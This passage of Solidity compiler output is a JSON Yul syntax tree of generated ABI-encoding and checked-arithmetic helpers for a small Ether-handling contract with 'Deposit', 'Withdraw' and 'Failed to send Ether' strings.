"name": "array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack",
"nodeType": "YulIdentifier",
"src": "3818:75:1"
},
"nodeType": "YulFunctionCall",
"src": "3818:83:1"
},
"variableNames": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3811:3:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3999:3:1"
}
],
"functionName": {
"name": "store_literal_in_memory_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470",
"nodeType": "YulIdentifier",
"src": "3910:88:1"
},
"nodeType": "YulFunctionCall",
"src": "3910:93:1"
},
"nodeType": "YulExpressionStatement",
"src": "3910:93:1"
},
{
"nodeType": "YulAssignment",
"src": "4012:18:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "4023:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "4028:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "4019:3:1"
},
"nodeType": "YulFunctionCall",
"src": "4019:11:1"
},
"variableNames": [
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "4012:3:1"
}
]
}
]
},
"name": "abi_encode_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "3789:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "end",
"nodeType": "YulTypedName",
"src": "3797:3:1",
"type": ""
}
],
"src": "3638:398:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "4230:191:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "4241:154:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "4391:3:1"
}
],
"functionName": {
"name": "abi_encode_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack",
"nodeType": "YulIdentifier",
"src": "4248:141:1"
},
"nodeType": "YulFunctionCall",
"src": "4248:147:1"
},
"variableNames": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "4241:3:1"
}
]
},
{
"nodeType": "YulAssignment",
"src": "4405:10:1",
"value": {
"name": "pos",
"nodeType": "YulIdentifier",
"src": "4412:3:1"
},
"variableNames": [
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "4405:3:1"
}
]
}
]
},
"name": "abi_encode_tuple_packed_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470__to_t_bytes_memory_ptr__nonPadded_inplace_fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "4217:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "end",
"nodeType": "YulTypedName",
"src": "4226:3:1",
"type": ""
}
],
"src": "4042:379:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "4533:64:1",
"statements": [
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "4555:6:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "4563:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "4551:3:1"
},
"nodeType": "YulFunctionCall",
"src": "4551:14:1"
},
{
"hexValue": "4661696c656420746f2073656e64204574686572",
"kind": "string",
"nodeType": "YulLiteral",
"src": "4567:22:1",
"type": "",
"value": "Failed to send Ether"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "4544:6:1"
},
"nodeType": "YulFunctionCall",
"src": "4544:46:1"
},
"nodeType": "YulExpressionStatement",
"src": "4544:46:1"
}
]
},
"name": "store_literal_in_memory_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "4525:6:1",
"type": ""
}
],
"src": "4427:170:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "4749:220:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "4759:74:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "4825:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "4830:2:1",
"type": "",
"value": "20"
}
],
"functionName": {
"name": "array_storeLengthForEncoding_t_string_memory_ptr_fromStack",
"nodeType": "YulIdentifier",
"src": "4766:58:1"
},
"nodeType": "YulFunctionCall",
"src": "4766:67:1"
},
"variableNames": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "4759:3:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "4931:3:1"
}
],
"functionName": {
"name": "store_literal_in_memory_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb",
"nodeType": "YulIdentifier",
"src": "4842:88:1"
},
"nodeType": "YulFunctionCall",
"src": "4842:93:1"
},
"nodeType": "YulExpressionStatement",
"src": "4842:93:1"
},
{
"nodeType": "YulAssignment",
"src": "4944:19:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "4955:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "4960:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "4951:3:1"
},
"nodeType": "YulFunctionCall",
"src": "4951:12:1"
},
"variableNames": [
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "4944:3:1"
}
]
}
]
},
"name": "abi_encode_t_stringliteral_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb_to_t_string_memory_ptr_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "4737:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "end",
"nodeType": "YulTypedName",
"src": "4745:3:1",
"type": ""
}
],
"src": "4603:366:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "5146:248:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "5156:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "5168:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "5179:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "5164:3:1"
},
"nodeType": "YulFunctionCall",
"src": "5164:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "5156:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "5203:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "5214:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "5199:3:1"
},
"nodeType": "YulFunctionCall",
"src": "5199:17:1"
},
{
"arguments": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "5222:4:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "5228:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "5218:3:1"
},
"nodeType": "YulFunctionCall",
"src": "5218:20:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "5192:6:1"
},
"nodeType": "YulFunctionCall",
"src": "5192:47:1"
},
"nodeType": "YulExpressionStatement",
"src": "5192:47:1"
},
{
"nodeType": "YulAssignment",
"src": "5248:139:1",
"value": {
"arguments": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "5382:4:1"
}
],
"functionName": {
"name": "abi_encode_t_stringliteral_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb_to_t_string_memory_ptr_fromStack",
"nodeType": "YulIdentifier",
"src": "5256:124:1"
},
"nodeType": "YulFunctionCall",
"src": "5256:131:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "5248:4:1"
}
]
}
]
},
"name": "abi_encode_tuple_t_stringliteral_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb__to_t_string_memory_ptr__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "5126:9:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "5141:4:1",
"type": ""
}
],
"src": "4975:419:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "5428:152:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "5445:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "5448:77:1",
"type": "",
"value": "35408467139433450592217433187231851964531694900788300625387963629091585785856"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "5438:6:1"
},
"nodeType": "YulFunctionCall",
"src": "5438:88:1"
},
"nodeType": "YulExpressionStatement",
"src": "5438:88:1"
},
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "5542:1:1",
"type": "",
"value": "4"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "5545:4:1",
"type": "",
"value": "0x11"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "5535:6:1"
},
"nodeType": "YulFunctionCall",
"src": "5535:15:1"
},
"nodeType": "YulExpressionStatement",
"src": "5535:15:1"
},
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "5566:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "5569:4:1",
"type": "",
"value": "0x24"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "5559:6:1"
},
"nodeType": "YulFunctionCall",
"src": "5559:15:1"
},
"nodeType": "YulExpressionStatement",
"src": "5559:15:1"
}
]
},
"name": "panic_error_0x11",
"nodeType": "YulFunctionDefinition",
"src": "5400:180:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "5631:146:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "5641:25:1",
"value": {
"arguments": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "5664:1:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "5646:17:1"
},
"nodeType": "YulFunctionCall",
"src": "5646:20:1"
},
"variableNames": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "5641:1:1"
}
]
},
{
"nodeType": "YulAssignment",
"src": "5675:25:1",
"value": {
"arguments": [
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "5698:1:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "5680:17:1"
},
"nodeType": "YulFunctionCall",
"src": "5680:20:1"
},
"variableNames": [
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "5675:1:1"
}
]
},
{
"body": {
"nodeType": "YulBlock",
"src": "5722:22:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "panic_error_0x11",
"nodeType": "YulIdentifier",
"src": "5724:16:1"
},
"nodeType": "YulFunctionCall",
"src": "5724:18:1"
},
"nodeType": "YulExpressionStatement",
"src": "5724:18:1"
}
]
},
"condition": {
"arguments": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "5716:1:1"
},
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "5719:1:1"
}
],
"functionName": {
"name": "lt",
"nodeType": "YulIdentifier",
"src": "5713:2:1"
},
"nodeType": "YulFunctionCall",
"src": "5713:8:1"
},
"nodeType": "YulIf",
"src": "5710:34:1"
},
{
"nodeType": "YulAssignment",
"src": "5754:17:1",
"value": {
"arguments": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "5766:1:1"
},
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "5769:1:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "5762:3:1"
},
"nodeType": "YulFunctionCall",
"src": "5762:9:1"
},
"variableNames": [
{
"name": "diff",
"nodeType": "YulIdentifier",
"src": "5754:4:1"
}
]
}
]
},
"name": "checked_sub_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "x",
"nodeType": "YulTypedName",
"src": "5617:1:1",
"type": ""
},
{
"name": "y",
"nodeType": "YulTypedName",
"src": "5620:1:1",
"type": ""
}
],
"returnVariables": [
{
"name": "diff",
"nodeType": "YulTypedName",
"src": "5626:4:1",
"type": ""
}
],
"src": "5586:191:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "5848:53:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "5865:3:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "5888:5:1"
}
],
"functionName": {
"name": "cleanup_t_address",
"nodeType": "YulIdentifier",
"src": "5870:17:1"
},
"nodeType": "YulFunctionCall",
"src": "5870:24:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "5858:6:1"
},
"nodeType": "YulFunctionCall",
"src": "5858:37:1"
},
"nodeType": "YulExpressionStatement",
"src": "5858:37:1"
}
]
},
"name": "abi_encode_t_address_to_t_address_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "5836:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "5843:3:1",
"type": ""
}
],
"src": "5783:118:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "6013:52:1",
"statements": [
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "6035:6:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "6043:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "6031:3:1"
},
"nodeType": "YulFunctionCall",
"src": "6031:14:1"
},
{
"hexValue": "5769746864726177",
"kind": "string",
"nodeType": "YulLiteral",
"src": "6047:10:1",
"type": "",
"value": "Withdraw"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "6024:6:1"
},
"nodeType": "YulFunctionCall",
"src": "6024:34:1"
},
"nodeType": "YulExpressionStatement",
"src": "6024:34:1"
}
]
},
"name": "store_literal_in_memory_8d7f87ab38a7f75a63dc465e10aadacecfca64c44ca774040b039bfb004e3367",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "6005:6:1",
"type": ""
}
],
"src": "5907:158:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "6217:219:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "6227:73:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "6293:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "6298:1:1",
"type": "",
"value": "8"
}
],
"functionName": {
"name": "array_storeLengthForEncoding_t_string_memory_ptr_fromStack",
"nodeType": "YulIdentifier",
"src": "6234:58:1"
},
"nodeType": "YulFunctionCall",
"src": "6234:66:1"
},
"variableNames": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "6227:3:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "6398:3:1"
}
],
"functionName": {
"name": "store_literal_in_memory_8d7f87ab38a7f75a63dc465e10aadacecfca64c44ca774040b039bfb004e3367",
"nodeType": "YulIdentifier",
"src": "6309:88:1"
},
"nodeType": "YulFunctionCall",
"src": "6309:93:1"
},
"nodeType": "YulExpressionStatement",
"src": "6309:93:1"
},
{
"nodeType": "YulAssignment",
"src": "6411:19:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "6422:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "6427:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "6418:3:1"
},
"nodeType": "YulFunctionCall",
"src": "6418:12:1"
},
"variableNames": [
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "6411:3:1"
}
]
}
]
},
"name": "abi_encode_t_stringliteral_8d7f87ab38a7f75a63dc465e10aadacecfca64c44ca774040b039bfb004e3367_to_t_string_memory_ptr_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "6205:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "end",
"nodeType": "YulTypedName",
"src": "6213:3:1",
"type": ""
}
],
"src": "6071:365:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "6669:412:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "6679:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "6691:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "6702:2:1",
"type": "",
"value": "96"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "6687:3:1"
},
"nodeType": "YulFunctionCall",
"src": "6687:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "6679:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "6759:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "6772:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "6783:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "6768:3:1"
},
"nodeType": "YulFunctionCall",
"src": "6768:17:1"
}
],
"functionName": {
"name": "abi_encode_t_address_to_t_address_fromStack",
"nodeType": "YulIdentifier",
"src": "6715:43:1"
},
"nodeType": "YulFunctionCall",
"src": "6715:71:1"
},
"nodeType": "YulExpressionStatement",
"src": "6715:71:1"
},
{
"expression": {
"arguments": [
{
"name": "value1",
"nodeType": "YulIdentifier",
"src": "6840:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "6853:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "6864:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "6849:3:1"
},
"nodeType": "YulFunctionCall",
"src": "6849:18:1"
}
],
"functionName": {
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulIdentifier",
"src": "6796:43:1"
},
"nodeType": "YulFunctionCall",
"src": "6796:72:1"
},
"nodeType": "YulExpressionStatement",
"src": "6796:72:1"
},
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "6889:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "6900:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "6885:3:1"
},
"nodeType": "YulFunctionCall",
"src": "6885:18:1"
},
{
"arguments": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "6909:4:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "6915:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "6905:3:1"
},
"nodeType": "YulFunctionCall",
"src": "6905:20:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "6878:6:1"
},
"nodeType": "YulFunctionCall",
"src": "6878:48:1"
},
"nodeType": "YulExpressionStatement",
"src": "6878:48:1"
},
{
"nodeType": "YulAssignment",
"src": "6935:139:1",
"value": {
"arguments": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "7069:4:1"
}
],
"functionName": {
"name": "abi_encode_t_stringliteral_8d7f87ab38a7f75a63dc465e10aadacecfca64c44ca774040b039bfb004e3367_to_t_string_memory_ptr_fromStack",
"nodeType": "YulIdentifier",
"src": "6943:124:1"
},
"nodeType": "YulFunctionCall",
"src": "6943:131:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "6935:4:1"
}
]
}
]
},
"name": "abi_encode_tuple_t_address_t_uint256_t_stringliteral_8d7f87ab38a7f75a63dc465e10aadacecfca64c44ca774040b039bfb004e3367__to_t_address_t_uint256_t_string_memory_ptr__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "6633:9:1",
"type": ""
},
{
"name": "value1",
"nodeType": "YulTypedName",
"src": "6645:6:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "6653:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "6664:4:1",
"type": ""
}
],
"src": "6442:639:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "7131:261:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "7141:25:1",
"value": {
"arguments": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "7164:1:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "7146:17:1"
},
"nodeType": "YulFunctionCall",
"src": "7146:20:1"
},
"variableNames": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "7141:1:1"
}
]
},
{
"nodeType": "YulAssignment",
"src": "7175:25:1",
"value": {
"arguments": [
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "7198:1:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "7180:17:1"
},
"nodeType": "YulFunctionCall",
"src": "7180:20:1"
},
"variableNames": [
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "7175:1:1"
}
]
},
{
"body": {
"nodeType": "YulBlock",
"src": "7338:22:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "panic_error_0x11",
"nodeType": "YulIdentifier",
"src": "7340:16:1"
},
"nodeType": "YulFunctionCall",
"src": "7340:18:1"
},
"nodeType": "YulExpressionStatement",
"src": "7340:18:1"
}
]
},
"condition": {
"arguments": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "7259:1:1"
},
{
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "7266:66:1",
"type": "",
"value": "0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
},
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "7334:1:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "7262:3:1"
},
"nodeType": "YulFunctionCall",
"src": "7262:74:1"
}
],
"functionName": {
"name": "gt",
"nodeType": "YulIdentifier",
"src": "7256:2:1"
},
"nodeType": "YulFunctionCall",
"src": "7256:81:1"
},
"nodeType": "YulIf",
"src": "7253:107:1"
},
{
"nodeType": "YulAssignment",
"src": "7370:16:1",
"value": {
"arguments": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "7381:1:1"
},
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "7384:1:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "7377:3:1"
},
"nodeType": "YulFunctionCall",
"src": "7377:9:1"
},
"variableNames": [
{
"name": "sum",
"nodeType": "YulIdentifier",
"src": "7370:3:1"
}
]
}
]
},
"name": "checked_add_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "x",
"nodeType": "YulTypedName",
"src": "7118:1:1",
"type": ""
},
{
"name": "y",
"nodeType": "YulTypedName",
"src": "7121:1:1",
"type": ""
}
],
"returnVariables": [
{
"name": "sum",
"nodeType": "YulTypedName",
"src": "7127:3:1",
"type": ""
}
],
"src": "7087:305:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "7504:51:1",
"statements": [
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "7526:6:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "7534:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "7522:3:1"
},
"nodeType": "YulFunctionCall",
"src": "7522:14:1"
},
{
"hexValue": "4465706f736974",
"kind": "string",
"nodeType": "YulLiteral",
"src": "7538:9:1",
"type": "",
"value": "Deposit"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "7515:6:1"
},
"nodeType": "YulFunctionCall",
"src": "7515:33:1"
},
"nodeType": "YulExpressionStatement",
"src": "7515:33:1"
}
]
},
"name": "store_literal_in_memory_e09149d2123147c5f43d258257fef0b7b969db78269369ebcf5ebb9eef8592f2",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "7496:6:1",
"type": ""
}
],
"src": "7398:157:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "7707:219:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "7717:73:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "7783:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "7788:1:1",
"type": "",
"value": "7"
}
],
"functionName": {
"name": "array_storeLengthForEncoding_t_string_memory_ptr_fromStack",
"nodeType": "YulIdentifier",
"src": "7724:58:1"
},
"nodeType": "YulFunctionCall",
"src": "7724:66:1"
},
"variableNames": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "7717:3:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "7888:3:1"
}
],
"functionName": {
"name": "store_literal_in_memory_e09149d2123147c5f43d258257fef0b7b969db78269369ebcf5ebb9eef8592f2",
"nodeType": "YulIdentifier",
"src": "7799:88:1"
},
"nodeType": "YulFunctionCall",
"src": "7799:93:1"
},
"nodeType": "YulExpressionStatement",
"src": "7799:93:1"
},
{
"nodeType": "YulAssignment",
"src": "7901:19:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "7912:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "7917:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "7908:3:1"
},
"nodeType": "YulFunctionCall",
"src": "7908:12:1"
},
"variableNames": [
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "7901:3:1"
}
]
}
]
},
"name": "abi_encode_t_stringliteral_e09149d2123147c5f43d258257fef0b7b969db78269369ebcf5ebb9eef8592f2_to_t_string_memory_ptr_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "7695:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "end",
"nodeType": "YulTypedName",
"src": "7703:3:1",
"type": ""
}
],
"src": "7561:365:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "8159:412:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "8169:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "8181:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "8192:2:1",
"type": "",
"value": "96"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "8177:3:1"
},
"nodeType": "YulFunctionCall",
"src": "8177:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "8169:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "8249:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "8262:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "8273:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "8258:3:1"
},
"nodeType": "YulFunctionCall",
"src": "8258:17:1"
}
],
"functionName": {
"name": "abi_encode_t_address_to_t_address_fromStack",
"nodeType": "YulIdentifier",
"src": "8205:43:1"
},
"nodeType": "YulFunctionCall",
"src": "8205:71:1"
},
"nodeType": "YulExpressionStatement",
"src": "8205:71:1"
},
{
"expression": {
"arguments": [
{
"name": "value1",
"nodeType": "YulIdentifier",
"src": "8330:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "8343:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "8354:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "8339:3:1"
},
"nodeType": "YulFunctionCall",
"src": "8339:18:1"
}
],
"functionName": {
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulIdentifier",
"src": "8286:43:1"
},
"nodeType": "YulFunctionCall",
"src": "8286:72:1"
},
"nodeType": "YulExpressionStatement",
"src": "8286:72:1"
},
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "8379:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "8390:2:1",
"type": "",
"value": "64"
}
],
